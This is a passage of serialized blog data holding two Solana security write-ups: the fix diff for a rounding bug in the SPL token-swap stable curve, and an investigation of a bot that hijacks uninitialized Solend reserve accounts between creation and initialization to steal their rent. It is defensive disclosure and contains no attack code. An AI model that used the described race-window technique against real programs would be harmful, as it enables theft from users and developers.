",{"type":23,"tag":181,"props":7013,"children":7016},{"href":7014,"rel":7015},"https://github.com/solana-labs/solana-program-library/pull/2942",[185],[7017],{"type":29,"value":7018},"introduce a PR",{"type":29,"value":7020}," which ceilings the computation in ",{"type":23,"tag":71,"props":7022,"children":7024},{"className":7023},[],[7025],{"type":29,"value":7026},"compute_new_destination_amount",{"type":29,"value":7028}," to correctly round within the stable curve math library.",{"type":23,"tag":220,"props":7030,"children":7032},{"code":7031,"language":5319,"meta":7,"className":5320,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[7033],{"type":23,"tag":71,"props":7034,"children":7035},{"__ignoreMap":7},[7036,7044,7074,7101,7129,7153,7229,7333,7360,7455,7558,7585,7597,7616,7639],{"type":23,"tag":230,"props":7037,"children":7038},{"class":232,"line":233},[7039],{"type":23,"tag":230,"props":7040,"children":7041},{"style":237},[7042],{"type":29,"value":7043},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":23,"tag":230,"props":7045,"children":7046},{"class":232,"line":243},[7047,7052,7056,7061,7065,7070],{"type":23,"tag":230,"props":7048,"children":7049},{"style":256},[7050],{"type":29,"value":7051},"     let",{"type":23,"tag":230,"props":7053,"children":7054},{"style":256},[7055],{"type":29,"value":5345},{"type":23,"tag":230,"props":7057,"children":7058},{"style":262},[7059],{"type":29,"value":7060}," y_prev",{"type":23,"tag":230,"props":7062,"children":7063},{"style":268},[7064],{"type":29,"value":218},{"type":23,"tag":230,"props":7066,"children":7067},{"style":676},[7068],{"type":29,"value":7069}," U256",{"type":23,"tag":230,"props":7071,"children":7072},{"style":274},[7073],{"type":29,"value":511},{"type":23,"tag":230,"props":7075,"children":7076},{"class":232,"line":252},[7077,7081,7085,7089,7093,7097],{"type":23,"tag":230,"props":7078,"children":7079},{"style":256},[7080],{"type":29,"value":7051},{"type":23,"tag":230,"props":7082,"children":7083},{"style":256},[7084],{"type":29,"value":5345},{"type":23,"tag":230,"props":7086,"children":7087},{"style":262},[7088],{"type":29,"value":5350},{"type":23,"tag":230,"props":7090,"children":7091},{"style":268},[7092],{"type":29,"value":271},{"type":23,"tag":230,"props":7094,"children":7095},{"style":262},[7096],{"type":29,"value":5359},{"type":23,"tag":230,"props":7098,"children":7099},{"style":274},[7100],{"type":29,"value":511},{"type":23,"tag":230,"props":7102,"children":7103},{"class":232,"line":280},[7104,7109,7113,7117,7121,7125],{"type":23,"tag":230,"props":7105,"children":7106},{"style":866},[7107],{"type":29,"value":7108},"     for",{"type":23,"tag":230,"props":7110,"children":7111},{"style":262},[7112],{"type":29,"value":5376},{"type":23,"tag":230,"props":7114,"children":7115},{"style":256},[7116],{"type":29,"value":5381},{"type":23,"tag":230,"props":7118,"children":7119},{"style":5149},[7120],{"type":29,"value":5386},{"type":23,"tag":230,"props":7122,"children":7123},{"style":268},[7124],{"type":29,"value":5391},{"type":23,"tag":230,"props":7126,"children":7127},{"style":274},[7128],{"type":29,"value":5396},{"type":23,"tag":230,"props":7130,"children":7131},{"class":232,"line":334},[7132,7136,7141,7145,7149],{"type":23,"tag":230,"props":7133,"children":7134},{"style":268},[7135],{"type":29,"value":6665},{"type":23,"tag":230,"props":7137,"children":7138},{"style":262},[7139],{"type":29,"value":7140},"        y_prev",{"type":23,"tag":230,"props":7142,"children":7143},{"style":268},[7144],{"type":29,"value":271},{"type":23,"tag":230,"props":7146,"children":7147},{"style":262},[7148],{"type":29,"value":5350},{"type":23,"tag":230,"props":7150,"children":7151},{"style":274},[7152],{"type":29,"value":511},{"type":23,"tag":230,"props":7154,"children":7155},{"class":232,"line":371},[7156,7160,7165,7169,7173,7177,7181,7185,7189,7193,7197,7201,7205,7209,7213,7217,7221,7225],{"type":23,"tag":230,"props":7157,"children":7158},{"style":268},[7159],{"type":29,"value":6665},{"type":23,"tag":230,"props":7161,"children":7162},{"style":262},[7163],{"type":29,"value":7164},"        y",{"type":23,"tag":230,"props":7166,"children":7167},{"style":268},[7168],{"type":29,"value":271},{"type":23,"tag":230,"props":7170,"children":7171},{"style":274},[7172],{"type":29,"value":664},{"type":23,"tag":230,"props":7174,"children":7175},{"style":294},[7176],{"type":29,"value":5439},{"type":23,"tag":230,"props":7178,"children":7179},{"style":274},[7180],{"type":29,"value":302},{"type":23,"tag":230,"props":7182,"children":7183},{"style":268},[7184],{"type":29,"value":5448},{"type":23,"tag":230,"props":7186,"children":7187},{"style":262},[7188],{"type":29,"value":5453},{"type":23,"tag":230,"props":7190,"children":7191},{"style":274},[7192],{"type":29,"value":684},{"type":23,"tag":230,"props":7194,"children":7195},{"style":5149},[7196],{"type":29,"value":5462},{"type":23,"tag":230,"props":7198,"children":7199},{"style":274},[7200],{"type":29,"value":5467},{"type":23,"tag":230,"props":7202,"children":7203},{"style":268},[7204],{"type":29,"value":5472},{"type":23,"tag":230,"props":7206,"children":7207},{"style":294},[7208],{"type":29,"value":5477},{"type":23,"tag":230,"props":7210,"children":7211},{"style":274},[7212],{"type":29,"value":302},{"type":23,"tag":230,"props":7214,"children":7215},{"style":262},[7216],{"type":29,"value":2148},{"type":23,"tag":230,"props":7218,"children":7219},{"style":274},[7220],{"type":29,"value":5467},{"type":23,"tag":230,"props":7222,"children":7223},{"style":268},[7224],{"type":29,"value":5494},{"type":23,"tag":230,"props":7226,"children":7227},{"style":274},[7228],{"type":29,"value":4516},{"type":23,"tag":230,"props":7230,"children":7231},{"class":232,"line":391},[7232,7236,7240,7245,7249,7253,7257,7261,7265,7269,7273,7277,7281,7285,7289,7293,7297,7301,7305,7309,7313,7317,7321,7325,7329],{"type":23,"tag":230,"props":7233,"children":7234},{"style":268},[7235],{"type":29,"value":6665},{"type":23,"tag":230,"props":7237,"children":7238},{"style":268},[7239],{"type":29,"value":5506},{"type":23,"tag":230,"props":7241,"children":7242},{"style":294},[7243],{"type":29,"value":7244},"checked_div",{"type":23,"tag":230,"props":7246,"children":7247},{"style":274},[7248],{"type":29,"value":302},{"type":23,"tag":230,"props":7250,"children":7251},{"style":294},[7252],{"type":29,"value":5520},{"type":23,"tag":230,"props":7254,"children":7255},{"style":274},[7256],{"type":29,"value":302},{"type":23,"tag":230,"props":7258,"children":7259},{"style":268},[7260],{"type":29,"value":5448},{"type":23,"tag":230,"props":7262,"children":7263},{"style":262},[7264],{"type":29,"value":5453},{"type":23,"tag":230,"props":7266,"children":7267},{"style":274},[7268],{"type":29,"value":684},{"type":23,"tag":230,"props":7270,"children":7271},{"style":5149},[7272],{"type":29,"value":5462},{"type":23,"tag":230,"props":7274,"children":7275},{"style":274},[7276],{"type":29,"value":5467},{"type":23,"tag":230,"props":7278,"children":7279},{"style":268},[7280],{"type":29,"value":5472},{"type":23,"tag":230,"props":7282,"children":7283},{"style":294},[7284],{"type":29,"value":5477},{"type":23,"tag":230,"props":7286,"children":7287},{"style":274},[7288],{"type":29,"value":302},{"type":23,"tag":230,"props":7290,"children":7291},{"style":262},[7292],{"type":29,"value":5561},{"type":23,"tag":230,"props":7294,"children":7295},{"style":274},[7296],{"type":29,"value":5467},{"type":23,"tag":230,"props":7298,"children":7299},{"style":268},[7300],{"type":29,"value":5472},{"type":23,"tag":230,"props":7302,"children":7303},{"style":294},[7304],{"type":29,"value":5574},{"type":23,"tag":230,"props":7306,"children":7307},{"style":274},[7308],{"type":29,"value":302},{"type":23,"tag":230,"props":7310,"children":7311},{"style":262},[7312],{"type":29,"value":5583},{"type":23,"tag":230,"props":7314,"children":7315},{"style":274},[7316],{"type":29,"value":5467},{"type":23,"tag":230,"props":7318,"children":7319},{"style":268},[7320],{"type":29,"value":5494},{"type":23,"tag":230,"props":7322,"children":7323},{"style":274},[7324],{"type":29,"value":5467},{"type":23,"tag":230,"props":7326,"children":7327},{"style":268},[7328],{"type":29,"value":5494},{"type":23,"tag":230,"props":7330,"children":7331},{"style":274},[7332],{"type":29,"value":511},{"type":23,"tag":230,"props":7334,"children":7335},{"class":232,"line":400},[7336,7340,7344,7348,7352,7356],{"type":23,"tag":230,"props":7337,"children":7338},{"style":268},[7339],{"type":29,"value":6665},{"type":23,"tag":230,"props":7341,"children":7342},{"style":866},[7343],{"type":29,"value":5611},{"type":23,"tag":230,"props":7345,"children":7346},{"style":262},[7347],{"type":29,"value":5350},{"type":23,"tag":230,"props":7349,"children":7350},{"style":268},[7351],{"type":29,"value":5621},{"type":23,"tag":230,"props":7353,"children":7354},{"style":262},[7355],{"type":29,"value":7060},{"type":23,"tag":230,"props":7357,"children":7358},{"style":274},[7359],{"type":29,"value":277},{"type":23,"tag":230,"props":7361,"children":7362},{"class":232,"line":444},[7363,7367,7371,7375,7379,7383,7387,7391,7395,7399,7403,7407,7411,7415,7419,7423,7427,7431,7435,7439,7443,7447,7451],{"type":23,"tag":230,"props":7364,"children":7365},{"style":268},[7366],{"type":29,"value":6719},{"type":23,"tag":230,"props":7368,"children":7369},{"style":256},[7370],{"type":29,"value":5404},{"type":23,"tag":230,"props":7372,"children":7373},{"style":274},[7374],{"type":29,"value":664},{"type":23,"tag":230,"props":7376,"children":7377},{"style":262},[7378],{"type":29,"value":5413},{"type":23,"tag":230,"props":7380,"children":7381},{"style":274},[7382],{"type":29,"value":684},{"type":23,"tag":230,"props":7384,"children":7385},{"style":262},[7386],{"type":29,"value":5422},{"type":23,"tag":230,"props":7388,"children":7389},{"style":274},[7390],{"type":29,"value":703},{"type":23,"tag":230,"props":7392,"children":7393},{"style":268},[7394],{"type":29,"value":863},{"type":23,"tag":230,"props":7396,"children":7397},{"style":274},[7398],{"type":29,"value":664},{"type":23,"tag":230,"props":7400,"children":7401},{"style":294},[7402],{"type":29,"value":5439},{"type":23,"tag":230,"props":7404,"children":7405},{"style":274},[7406],{"type":29,"value":302},{"type":23,"tag":230,"props":7408,"children":7409},{"style":268},[7410],{"type":29,"value":5448},{"type":23,"tag":230,"props":7412,"children":7413},{"style":262},[7414],{"type":29,"value":5453},{"type":23,"tag":230,"props":7416,"children":7417},{"style":274},[7418],{"type":29,"value":684},{"type":23,"tag":230,"props":7420,"children":7421},{"style":5149},[7422],{"type":29,"value":5462},{"type":23,"tag":230,"props":7424,"children":7425},{"style":274},[7426],{"type":29,"value":5467},{"type":23,"tag":230,"props":7428,"children":7429},{"style":268},[7430],{"type":29,"value":5472},{"type":23,"tag":230,"props":7432,"children":7433},{"style":294},[7434],{"type":29,"value":5477},{"type":23,"tag":230,"props":7436,"children":7437},{"style":274},[7438],{"type":29,"value":302},{"type":23,"tag":230,"props":7440,"children":7441},{"style":262},[7442],{"type":29,"value":2148},{"type":23,"tag":230,"props":7444,"children":7445},{"style":274},[7446],{"type":29,"value":5467},{"type":23,"tag":230,"props":7448,"children":7449},{"style":268},[7450],{"type":29,"value":5494},{"type":23,"tag":230,"props":7452,"children":7453},{"style":274},[7454],{"type":29,"value":4516},{"type":23,"tag":230,"props":7456,"children":7457},{"class":232,"line":453},[7458,7462,7466,7470,7474,7478,7482,7486,7490,7494,7498,7502,7506,7510,7514,7518,7522,7526,7530,7534,7538,7542,7546,7550,7554],{"type":23,"tag":230,"props":7459,"children":7460},{"style":268},[7461],{"type":29,"value":6719},{"type":23,"tag":230,"props":7463,"children":7464},{"style":268},[7465],{"type":29,"value":5506},{"type":23,"tag":230,"props":7467,"children":7468},{"style":294},[7469],{"type":29,"value":5511},{"type":23,"tag":230,"props":7471,"children":7472},{"style":274},[7473],{"type":29,"value":302},{"type":23,"tag":230,"props":7475,"children":7476},{"style":294},[7477],{"type":29,"value":5520},{"type":23,"tag":230,"props":7479,"children":7480},{"style":274},[7481],{"type":29,"value":302},{"type":23,"tag":230,"props":7483,"children":7484},{"style":268},[7485],{"type":29,"value":5448},{"type":23,"tag":230,"props":7487,"children":7488},{"style":262},[7489],{"type":29,"value":5453},{"type":23,"tag":230,"props":7491,"children":7492},{"style":274},[7493],{"type":29,"value":684},{"type":23,"tag":230,"props":7495,"children":7496},{"style":5149},[7497],{"type":29,"value":5462},{"type":23,"tag":230,"props":7499,"children":7500},{"style":274},[7501],{"type":29,"value":5467},{"type":23,"tag":230,"props":7503,"children":7504},{"style":268},[7505],{"type":29,"value":5472},{"type":23,"tag":230,"props":7507,"children":7508},{"style":294},[7509],{"type":29,"value":5477},{"type":23,"tag":230,"props":7511,"children":7512},{"style":274},[7513],{"type":29,"value":302},{"type":23,"tag":230,"props":7515,"children":7516},{"style":262},[7517],{"type":29,"value":5561},{"type":23,"tag":230,"props":7519,"children":7520},{"style":274},[7521],{"type":29,"value":5467},{"type":23,"tag":230,"props":7523,"children":7524},{"style":268},[7525],{"type":29,"value":5472},{"type":23,"tag":230,"props":7527,"children":7528},{"style":294},[7529],{"type":29,"value":5574},{"type":23,"tag":230,"props":7531,"children":7532},{"style":274},[7533],{"type":29,"value":302},{"type":23,"tag":230,"props":7535,"children":7536},{"style":262},[7537],{"type":29,"value":5583},{"type":23,"tag":230,"props":7539,"children":7540},{"style":274},[7541],{"type":29,"value":5467},{"type":23,"tag":230,"props":7543,"children":7544},{"style":268},[7545],{"type":29,"value":5494},{"type":23,"tag":230,"props":7547,"children":7548},{"style":274},[7549],{"type":29,"value":5467},{"type":23,"tag":230,"props":7551,"children":7552},{"style":268},[7553],{"type":29,"value":5494},{"type":23,"tag":230,"props":7555,"children":7556},{"style":274},[7557],{"type":29,"value":511},{"type":23,"tag":230,"props":7559,"children":7560},{"class":232,"line":462},[7561,7565,7569,7573,7577,7581],{"type":23,"tag":230,"props":7562,"children":7563},{"style":268},[7564],{"type":29,"value":6719},{"type":23,"tag":230,"props":7566,"children":7567},{"style":866},[7568],{"type":29,"value":5611},{"type":23,"tag":230,"props":7570,"children":7571},{"style":262},[7572],{"type":29,"value":5616},{"type":23,"tag":230,"props":7574,"children":7575},{"style":268},[7576],{"type":29,"value":5621},{"type":23,"tag":230,"props":7578,"children":7579},{"style":262},[7580],{"type":29,"value":5350},{"type":23,"tag":230,"props":7582,"children":7583},{"style":274},[7584],{"type":29,"value":277},{"type":23,"tag":230,"props":7586,"children":7587},{"class":232,"line":471},[7588,7593],{"type":23,"tag":230,"props":7589,"children":7590},{"style":866},[7591],{"type":29,"value":7592},"             break",{"type":23,"tag":230,"props":7594,"children":7595},{"style":274},[7596],{"type":29,"value":511},{"type":23,"tag":230,"props":7598,"children":7599},{"class":232,"line":500},[7600,7604,7608,7612],{"type":23,"tag":230,"props":7601,"children":7602},{"style":268},[7603],{"type":29,"value":6719},{"type":23,"tag":230,"props":7605,"children":7606},{"style":274},[7607],{"type":29,"value":5649},{"type":23,"tag":230,"props":7609,"children":7610},{"style":866},[7611],{"type":29,"value":5654},{"type":23,"tag":230,"props":7613,"children":7614},{"style":274},[7615],{"type":29,"value":277},{"type":23,"tag":230,"props":7617,"children":7618},{"class":232,"line":514},[7619,7623,7627,7631,7635],{"type":23,"tag":230,"props":7620,"children":7621},{"style":268},[7622],{"type":29,"value":6719},{"type":23,"tag":230,"props":7624,"children":7625},{"style":262},[7626],{"type":29,"value":5666},{"type":23,"tag":230,"props":7628,"children":7629},{"style":268},[7630],{"type":29,"value":271},{"type":23,"tag":230,"props":7632,"children":7633},{"style":262},[7634],{"type":29,"value":5616},{"type":23,"tag":230,"props":7636,"children":7637},{"style":274},[7638],{"type":29,"value":511},{"type":23,"tag":230,"props":7640,"children":7641},{"class":232,"line":897},[7642],{"type":23,"tag":230,"props":7643,"children":7644},{"style":274},[7645],{"type":29,"value":7646},"         }\n",{"type":23,"tag":24,"props":7648,"children":7650},{"id":7649},"closing-thoughts",[7651],{"type":29,"value":7652},"Closing Thoughts",{"type":23,"tag":32,"props":7654,"children":7655},{},[7656],{"type":29,"value":7657},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":23,"tag":32,"props":7659,"children":7660},{},[7661,7663,7668],{"type":29,"value":7662},"Another interesting takeaway is that ",{"type":23,"tag":2302,"props":7664,"children":7665},{},[7666],{"type":29,"value":7667},"fuzzing can give a false sense of security",{"type":29,"value":7669},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":23,"tag":32,"props":7671,"children":7672},{},[7673,7675,7682],{"type":29,"value":7674},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":23,"tag":181,"props":7676,"children":7679},{"href":7677,"rel":7678},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[185],[7680],{"type":29,"value":7681},"port-mortem of the NSS overflow",{"type":29,"value":312},{"type":23,"tag":32,"props":7684,"children":7685},{},[7686],{"type":23,"tag":93,"props":7687,"children":7689},{"alt":7,"src":7688},"/posts/spl-swap/p0.png",[],{"type":23,"tag":32,"props":7691,"children":7692},{},[7693],{"type":29,"value":7694},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":23,"tag":32,"props":7696,"children":7697},{},[7698],{"type":29,"value":7699},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":23,"tag":32,"props":7701,"children":7702},{},[7703],{"type":29,"value":7704},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":23,"tag":5178,"props":7706,"children":7707},{},[7708],{"type":29,"value":5182},{"title":7,"searchDepth":243,"depth":243,"links":7710},[7711,7712,7713,7714],{"id":5257,"depth":243,"text":5260},{"id":6257,"depth":243,"text":6260},{"id":6563,"depth":243,"text":6566},{"id":7649,"depth":243,"text":7652},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":7719,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":7720,"description":7721,"image":7722,"date":7726,"isFeatured":18,"onBlogPage":18,"tags":7727,"body":7728,"_type":5202,"_id":8049,"_source":5204,"_file":8050,"_stem":8051,"_extension":5207},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":7723,"width":7724,"height":7725},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[5219,5220],{"type":20,"children":7729,"toc":8042},[7730,7735,7741,7746,7751,7756,7762,7775,7822,7853,7862,7867,7872,7877,7883,7896,7911,7916,7921,7936,7940,7945,7960,7967,7972,7982,7989,7993,7998,8002,8007,8012,8017,8023,8028],{"type":23,"tag":32,"props":7731,"children":7732},{},[7733],{"type":29,"value":7734},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":23,"tag":24,"props":7736,"children":7738},{"id":7737},"background",[7739],{"type":29,"value":7740},"Background",{"type":23,"tag":32,"props":7742,"children":7743},{},[7744],{"type":29,"value":7745},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":23,"tag":32,"props":7747,"children":7748},{},[7749],{"type":29,"value":7750},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":23,"tag":32,"props":7752,"children":7753},{},[7754],{"type":29,"value":7755},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":23,"tag":24,"props":7757,"children":7759},{"id":7758},"the-exploit",[7760],{"type":29,"value":7761},"The Exploit",{"type":23,"tag":32,"props":7763,"children":7764},{},[7765,7767,7773],{"type":29,"value":7766},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":23,"tag":71,"props":7768,"children":7770},{"className":7769},[],[7771],{"type":29,"value":7772},"init_reserve",{"type":29,"value":7774}," function, which creates 6 new accounts to store data about the reserve:",{"type":23,"tag":144,"props":7776,"children":7777},{},[7778,7783,7788,7793,7804,7809],{"type":23,"tag":102,"props":7779,"children":7780},{},[7781],{"type":29,"value":7782},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":23,"tag":102,"props":7784,"children":7785},{},[7786],{"type":29,"value":7787},"reserve liquidity token account - holds deposited tokens",{"type":23,"tag":102,"props":7789,"children":7790},{},[7791],{"type":29,"value":7792},"fee receiver token account - account which will receive origination fees on borrows",{"type":23,"tag":102,"props":7794,"children":7795},{},[7796,7798],{"type":29,"value":7797},"reserve collateral mint account - deposit receipt token, also known as ",{"type":23,"tag":71,"props":7799,"children":7801},{"className":7800},[],[7802],{"type":29,"value":7803},"cTokens",{"type":23,"tag":102,"props":7805,"children":7806},{},[7807],{"type":29,"value":7808},"reserve collateral token account - holds users' collateral tokens",{"type":23,"tag":102,"props":7810,"children":7811},{},[7812,7814,7820],{"type":29,"value":7813},"creator collateral token account - creator's ",{"type":23,"tag":71,"props":7815,"children":7817},{"className":7816},[],[7818],{"type":29,"value":7819},"cToken",{"type":29,"value":7821}," account",{"type":23,"tag":32,"props":7823,"children":7824},{},[7825,7827,7832,7834,7839,7841,7846,7848],{"type":29,"value":7826},"Account creation and initialization are ",{"type":23,"tag":2258,"props":7828,"children":7829},{},[7830],{"type":29,"value":7831},"usually",{"type":29,"value":7833}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":23,"tag":71,"props":7835,"children":7837},{"className":7836},[],[7838],{"type":29,"value":7772},{"type":29,"value":7840}," is ",{"type":23,"tag":2258,"props":7842,"children":7843},{},[7844],{"type":29,"value":7845},"supposed",{"type":29,"value":7847}," to look like:\n",{"type":23,"tag":93,"props":7849,"children":7852},{"src":7850,"alt":7851},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":23,"tag":32,"props":7854,"children":7855},{},[7856,7858],{"type":29,"value":7857},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":23,"tag":93,"props":7859,"children":7861},{"src":7860,"alt":7851},"/posts/rent-thief/attacktransac.png",[],{"type":23,"tag":32,"props":7863,"children":7864},{},[7865],{"type":29,"value":7866},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":23,"tag":32,"props":7868,"children":7869},{},[7870],{"type":29,"value":7871},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":23,"tag":32,"props":7873,"children":7874},{},[7875],{"type":29,"value":7876},"Despite this lost cost, this is pretty annoying...",{"type":23,"tag":24,"props":7878,"children":7880},{"id":7879},"example",[7881],{"type":29,"value":7882},"Example",{"type":23,"tag":32,"props":7884,"children":7885},{},[7886,7888,7895],{"type":29,"value":7887},"Let's take a look at ",{"type":23,"tag":181,"props":7889,"children":7892},{"href":7890,"rel":7891},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[185],[7893],{"type":29,"value":7894},"a real attack",{"type":29,"value":312},{"type":23,"tag":32,"props":7897,"children":7898},{},[7899,7906,7907],{"type":23,"tag":181,"props":7900,"children":7903},{"href":7901,"rel":7902},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[185],[7904],{"type":29,"value":7905},"Transaction 1",{"type":29,"value":4954},{"type":23,"tag":93,"props":7908,"children":7910},{"alt":7,"src":7909},"https://i.imgur.com/xJvIwgc.png",[],{"type":23,"tag":32,"props":7912,"children":7913},{},[7914],{"type":29,"value":7915},"(...more accounts truncated)",{"type":23,"tag":32,"props":7917,"children":7918},{},[7919],{"type":29,"value":7920},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":23,"tag":32,"props":7922,"children":7923},{},[7924,7931,7932],{"type":23,"tag":181,"props":7925,"children":7928},{"href":7926,"rel":7927},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[185],[7929],{"type":29,"value":7930},"Attacker's Transaction",{"type":29,"value":4954},{"type":23,"tag":93,"props":7933,"children":7935},{"alt":7,"src":7934},"https://i.imgur.com/CpSKuL3.png",[],{"type":23,"tag":32,"props":7937,"children":7938},{},[7939],{"type":29,"value":7915},{"type":23,"tag":32,"props":7941,"children":7942},{},[7943],{"type":29,"value":7944},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":23,"tag":32,"props":7946,"children":7947},{},[7948,7955,7956],{"type":23,"tag":181,"props":7949,"children":7952},{"href":7950,"rel":7951},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[185],[7953],{"type":29,"value":7954},"Transaction 2",{"type":29,"value":4954},{"type":23,"tag":93,"props":7957,"children":7959},{"alt":7,"src":7958},"https://i.imgur.com/of0GIdw.png",[],{"type":23,"tag":32,"props":7961,"children":7962},{},[7963],{"type":23,"tag":93,"props":7964,"children":7966},{"alt":7,"src":7965},"https://i.imgur.com/0STSyv8.png",[],{"type":23,"tag":32,"props":7968,"children":7969},{},[7970],{"type":29,"value":7971},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":23,"tag":32,"props":7973,"children":7974},{},[7975,7981],{"type":23,"tag":181,"props":7976,"children":7979},{"href":7977,"rel":7978},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[185],[7980],{"type":29,"value":7930},{"type":29,"value":218},{"type":23,"tag":32,"props":7983,"children":7984},{},[7985],{"type":23,"tag":93,"props":7986,"children":7988},{"alt":7,"src":7987},"https://i.imgur.com/AmSPdmy.png",[],{"type":23,"tag":32,"props":7990,"children":7991},{},[7992],{"type":29,"value":7915},{"type":23,"tag":32,"props":7994,"children":7995},{},[7996],{"type":29,"value":7997},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":23,"tag":24,"props":7999,"children":8000},{"id":4195},[8001],{"type":29,"value":4198},{"type":23,"tag":32,"props":8003,"children":8004},{},[8005],{"type":29,"value":8006},"Rent-thieving attacks don't steal much money.",{"type":23,"tag":32,"props":8008,"children":8009},{},[8010],{"type":29,"value":8011},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":23,"tag":32,"props":8013,"children":8014},{},[8015],{"type":29,"value":8016},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":23,"tag":24,"props":8018,"children":8020},{"id":8019},"solution",[8021],{"type":29,"value":8022},"Solution",{"type":23,"tag":32,"props":8024,"children":8025},{},[8026],{"type":29,"value":8027},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":23,"tag":32,"props":8029,"children":8030},{},[8031,8033,8040],{"type":29,"value":8032},"As a more permenant solution, Solend implemented ",{"type":23,"tag":181,"props":8034,"children":8037},{"href":8035,"rel":8036},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[185],[8038],{"type":29,"value":8039},"an onchain program",{"type":29,"value":8041}," which handles account creation, allowing them to fit all the relevant instructions into one 